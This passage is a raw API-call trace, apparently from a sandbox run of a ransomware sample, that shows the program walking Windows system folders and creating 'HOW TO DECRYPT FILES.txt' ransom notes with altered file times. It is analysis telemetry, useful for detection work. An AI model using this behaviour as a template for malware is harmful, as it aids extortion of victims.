out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.678] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.678] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="diskcopy.com" | out: lpString1="C:\\Windows\\System32\\diskcopy.com") returned="C:\\Windows\\System32\\diskcopy.com" [0144.678] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.678] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diskcopy.dll") returned 1 [0144.678] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diskcopy.dll") returned 1 [0144.678] lstrcmpiA (lpString1="", lpString2="diskcopy.dll") returned -1 [0144.678] PathFindFileNameA (pszPath="C:\\Windows\\System32\\diskcopy.com") returned="diskcopy.com" [0144.678] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.678] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.678] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.678] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.679] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="diskcopy.dll" | out: lpString1="C:\\Windows\\System32\\diskcopy.dll") returned="C:\\Windows\\System32\\diskcopy.dll" [0144.679] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diskmgmt.msc") returned 1 [0144.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diskmgmt.msc") returned 1 [0144.679] lstrcmpiA (lpString1="", lpString2="diskmgmt.msc") returned -1 [0144.679] PathFindFileNameA (pszPath="C:\\Windows\\System32\\diskcopy.dll") returned="diskcopy.dll" [0144.679] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.679] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.679] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.679] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.679] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="diskmgmt.msc" | out: lpString1="C:\\Windows\\System32\\diskmgmt.msc") returned="C:\\Windows\\System32\\diskmgmt.msc" [0144.679] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diskpart.exe") returned 1 [0144.680] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diskpart.exe") returned 1 [0144.680] lstrcmpiA (lpString1="", lpString2="diskpart.exe") returned -1 [0144.680] PathFindFileNameA (pszPath="C:\\Windows\\System32\\diskmgmt.msc") returned="diskmgmt.msc" [0144.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.680] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.680] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.680] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.680] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="diskpart.exe" | out: lpString1="C:\\Windows\\System32\\diskpart.exe") returned="C:\\Windows\\System32\\diskpart.exe" [0144.680] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.680] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diskperf.exe") returned 1 [0144.680] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diskperf.exe") returned 1 [0144.680] lstrcmpiA (lpString1="", lpString2="diskperf.exe") returned -1 [0144.680] PathFindFileNameA (pszPath="C:\\Windows\\System32\\diskpart.exe") returned="diskpart.exe" [0144.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.680] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.680] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.681] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.681] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="diskperf.exe" | out: lpString1="C:\\Windows\\System32\\diskperf.exe") returned="C:\\Windows\\System32\\diskperf.exe" [0144.681] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.681] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diskraid.exe") returned 1 [0144.681] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diskraid.exe") returned 1 [0144.681] lstrcmpiA (lpString1="", lpString2="diskraid.exe") returned -1 [0144.681] PathFindFileNameA (pszPath="C:\\Windows\\System32\\diskperf.exe") returned="diskperf.exe" [0144.681] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.681] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.681] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.681] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.681] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="diskraid.exe" | out: lpString1="C:\\Windows\\System32\\diskraid.exe") returned="C:\\Windows\\System32\\diskraid.exe" [0144.682] lstrcmpA (lpString1=".", lpString2="Dism") returned -1 [0144.682] lstrcmpA (lpString1="..", lpString2="Dism") returned -1 [0144.682] PathFindFileNameA (pszPath="C:\\Windows\\System32\\diskraid.exe") returned="diskraid.exe" [0144.682] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="Dism" | out: lpString1="C:\\Windows\\System32\\Dism") returned="C:\\Windows\\System32\\Dism" [0144.682] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Dism\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e52f2f2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0144.685] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.685] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.685] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.686] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.686] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CbsProvider.dll") returned 1 [0144.686] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CbsProvider.dll") returned 1 [0144.686] lstrcmpiA (lpString1="", lpString2="CbsProvider.dll") returned -1 [0144.686] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\*.*") returned="*.*" [0144.686] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.686] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.686] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.686] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0xffffffff [0144.686] CreateFileA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0144.689] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.689] CloseHandle (hObject=0x88) returned 1 [0144.689] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="CbsProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\CbsProvider.dll") returned="C:\\Windows\\System32\\Dism\\CbsProvider.dll" [0144.690] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831896be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831896be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831af81e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x0, dwReserved1=0x0, cFileName="CompatProvider.dll", cAlternateFileName="")) returned 1 [0144.690] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CompatProvider.dll") returned 1 [0144.690] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CompatProvider.dll") returned 1 [0144.690] lstrcmpiA (lpString1="", lpString2="CompatProvider.dll") returned -1 [0144.690] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\CbsProvider.dll") returned="CbsProvider.dll" [0144.690] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.690] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.690] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.691] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.691] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="CompatProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\CompatProvider.dll") returned="C:\\Windows\\System32\\Dism\\CompatProvider.dll" [0144.691] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f90ac0e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f90ac0e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f90ac0e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DismCore.dll", cAlternateFileName="")) returned 1 [0144.692] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\CompatProvider.dll") returned="CompatProvider.dll" [0144.692] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.692] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.692] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.692] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.692] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="DismCore.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\DismCore.dll") returned="C:\\Windows\\System32\\Dism\\DismCore.dll" [0144.693] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f8e4aad, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f8e4aad, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8e4aad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DismCorePS.dll", cAlternateFileName="")) returned 1 [0144.693] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\DismCore.dll") returned="DismCore.dll" [0144.693] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.693] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.693] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.693] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.693] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="DismCorePS.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\DismCorePS.dll") returned="C:\\Windows\\System32\\Dism\\DismCorePS.dll" [0144.694] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f8e4aad, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f8e4aad, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f90ac0e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DismHost.exe", cAlternateFileName="")) returned 1 [0144.694] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\DismCorePS.dll") returned="DismCorePS.dll" [0144.694] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.694] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.694] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.694] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.694] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="DismHost.exe" | out: lpString1="C:\\Windows\\System32\\Dism\\DismHost.exe") returned="C:\\Windows\\System32\\Dism\\DismHost.exe" [0144.694] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f8e4aad, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f8e4aad, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8e4aad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DismProv.dll", cAlternateFileName="")) returned 1 [0144.694] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\DismHost.exe") returned="DismHost.exe" [0144.694] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.695] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.695] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.695] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.695] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="DismProv.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\DismProv.dll") returned="C:\\Windows\\System32\\Dism\\DismProv.dll" [0144.695] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8313d3fe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8313d3fe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8313d3fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DmiProvider.dll", cAlternateFileName="")) returned 1 [0144.695] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\DismProv.dll") returned="DismProv.dll" [0144.695] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.695] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.695] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.695] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.696] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="DmiProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\DmiProvider.dll") returned="C:\\Windows\\System32\\Dism\\DmiProvider.dll" [0144.696] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0144.696] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0144.696] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0144.696] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\DmiProvider.dll") returned="DmiProvider.dll" [0144.696] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="en-US" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US") returned="C:\\Windows\\System32\\Dism\\en-US" [0144.696] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Dism\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.700] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.700] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.700] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.700] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.700] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CbsProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.700] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\*.*") returned="*.*" [0144.700] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.700] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.700] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.700] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.700] CreateFileA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0144.704] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.704] CloseHandle (hObject=0x8c) returned 1 [0144.704] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="CbsProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\CbsProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\CbsProvider.dll.mui" [0144.704] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CompatProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.704] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\CbsProvider.dll.mui") returned="CbsProvider.dll.mui" [0144.705] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.705] PathAddBackslashA (in: 